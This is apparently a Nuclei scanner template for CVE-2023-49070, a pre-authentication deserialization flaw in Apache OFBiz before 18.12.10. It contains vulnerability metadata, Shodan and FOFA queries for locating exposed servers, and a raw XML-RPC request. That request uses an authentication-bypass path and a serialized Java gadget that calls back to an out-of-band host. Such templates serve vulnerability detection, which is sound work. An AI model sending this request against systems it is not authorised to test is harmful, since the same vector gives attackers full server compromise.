Apache OFBiz < 18.12.10 - Arbitrary Code Execution

id: CVE-2023-49070

info:
  name: Apache OFBiz < 18.12.10 - Arbitrary Code Execution
  author: your3cho
  severity: critical
  description: |
    Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.
  impact: |
    Unauthenticated attackers can exploit unmaintained XML-RPC functionality to execute arbitrary code through Java deserialization, enabling complete server compromise.
  remediation: Users are recommended to upgrade to version 18.12.10.
  reference:
    - https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3
    - https://seclists.org/oss-sec/2023/q4/257
    - https://twitter.com/Siebene7/status/1731870759130427726
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49070
    - https://issues.apache.org/jira/browse/OFBIZ-12812
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-49070
    cwe-id: CWE-94
    epss-score: 0.95368
    epss-percentile: 0.99863
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - html:"OFBiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve,cve2023,seclists,apache,ofbiz,deserialization,rce,vkev,vuln

http:
  - raw:
      - |
        POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0"?>
          <methodCall>
            <methodName>{{randstr}}</methodName>
            <params>
              <param>
              <value>
                <struct>
               <member>
                  <name>test</name>
                  <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}</serializable>
                  </value>
                </member>
              </struct>
              </value>
            </param>
            </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '<name>faultString</name>'
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